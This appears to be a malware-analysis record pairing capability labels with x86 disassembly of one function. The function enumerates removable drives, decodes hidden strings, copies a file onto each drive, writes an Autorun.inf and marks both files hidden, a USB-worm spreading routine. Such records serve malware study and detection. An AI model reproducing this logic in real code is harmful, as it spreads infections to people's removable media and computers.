Function at 0x476c96
Capabilities:
Copy file
Get disk information
Set file attributes
Write file on windows

Disassembly:
mov eax, 0x6c8eaf
call fcn.006b9c3c
sub esp, 0x230
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x24], edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], 1
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov byte [ebp - 4], 2
mov edx, ebx
mov dword [ebp - 0x1c], edx
mov ax, word [0x73c97c]
mov word [ebp - 0x18], ax
mov al, byte [0x73c97e]
mov byte [ebp - 0x16], al
mov esi, ebx
mov dword [ebp - 0x2c], esi
cmp esi, 0x20
jge 0x476fc9
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
cmp eax, 2
jne 0x476fbd
xor eax, eax
lea edi, [ebp - 0xc0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movaps xmm0, xmmword [0x7476c0]
movups xmmword [ebp - 0xb4], xmm0
movaps xmm0, xmmword [0x745a60]
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x94], 0x43
mov dword [ebp - 0x90], 0x18
mov ecx, ebx
push 0x7f
pop edi
mov dword [ebp - 0x30], ecx
cmp ecx, 0xa
jae 0x476d69
push 0x10
pop eax
sub eax, dword [ebp + ecx*4 - 0xb4]
imul eax, eax, 0x23
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + ecx - 0xc0], dl
inc ecx
jmp 0x476d41
mov byte [ebp - 0xb6], bl
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00411aae
mov byte [ebp - 4], 3
cmp byte [ebp - 0x18], 0
jne 0x476d8c
mov eax, ebx
jmp 0x476d96
lea eax, [ebp - 0x18]
push eax
call fcn.006909d0
pop ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
lea ecx, [ebp - 0x4c]
call fcn.004ac0a4
lea ecx, [ebp - 0x114]
call fcn.00477584
mov byte [ebp - 4], 4
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00461197
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae ecx, dword [ebp - 0x4c]
cmp dword [eax + 0x14], 0x10
jb 0x476dd7
mov eax, dword [eax]
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
neg eax
sbb al, al
inc al
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 4
push ebx
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0xfc]
call fcn.00411bc8
mov byte [ebp - 4], 3
push ebx
push edi
lea ecx, [ebp - 0x114]
call fcn.004ab703
cmp byte [ebp - 0x28], 0
je 0x476e27
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x4c]
call fcn.00411bc8
jmp 0x476fc3
push str.Autorun.inf
lea ecx, [ebp - 0xcc]
call fcn.00499e50
mov ecx, eax
call fcn.00499e1e
push eax
lea ecx, [ebp - 0x64]
call fcn.00411aae
mov byte [ebp - 4], 6
cmp byte [ebp - 0x18], 0
jne 0x476e55
mov eax, ebx
jmp 0x476e5f
lea eax, [ebp - 0x18]
push eax
call fcn.006909d0
pop ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
lea ecx, [ebp - 0x64]
call fcn.004ac0a4
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae eax, dword [ebp - 0x64]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x28], eax
push ecx
cmp eax, 0xffffffff
jne 0x476ef0
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xe4]
call fcn.004b1036
mov byte [ebp - 4], 7
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x12c]
call fcn.00476438
push ebx
push edi
lea ecx, [ebp - 0x12c]
call fcn.00411bc8
mov byte [ebp - 4], 8
mov byte [ebp - 4], 6
push ebx
push edi
lea ecx, [ebp - 0xe4]
call fcn.004ab703
mov byte [ebp - 4], 3
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.00411bc8
jmp 0x476e14
lea ecx, [ebp - 0x238]
call fcn.00487d54
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x34], esi
cmp esi, 0x35
jae 0x476f23
push 0x5a
pop ecx
sub ecx, dword [edi + esi*4 + 0x38]
imul eax, ecx, 0x2c
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [esi + edi], dl
inc esi
jmp 0x476eff
mov byte [edi + 0x35], bl
push edi
lea ecx, [ebp - 0x8c]
call fcn.00411aae
mov byte [ebp - 4], 9
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
cmovae eax, dword [ebp - 0x8c]
push ebx
lea ecx, [ebp - 0x68]
push ecx
push dword [ebp - 0x7c]
push eax
mov esi, dword [ebp - 0x28]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
cmovae eax, dword [ebp - 0x4c]
push 2
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call edi
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae eax, dword [ebp - 0x64]
push 2
push eax
call edi
inc dword [ebp - 0x1c]
mov byte [ebp - 4], 6
push ebx
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x8c]
call fcn.00411bc8
mov byte [ebp - 4], 3
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x4c]
call fcn.00411bc8
mov esi, dword [ebp - 0x2c]
lea eax, [esi + 0x41]
mov byte [ebp - 0x18], al
inc esi
jmp 0x476ce0
mov edx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x24]
mov ecx, edi
call fcn.00413c6d
mov dword [ebp - 0x20], 1
mov byte [ebp - 4], 1
test ebx, ebx
je 0x476fec
mov ecx, ebx
call fcn.0040f5b8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret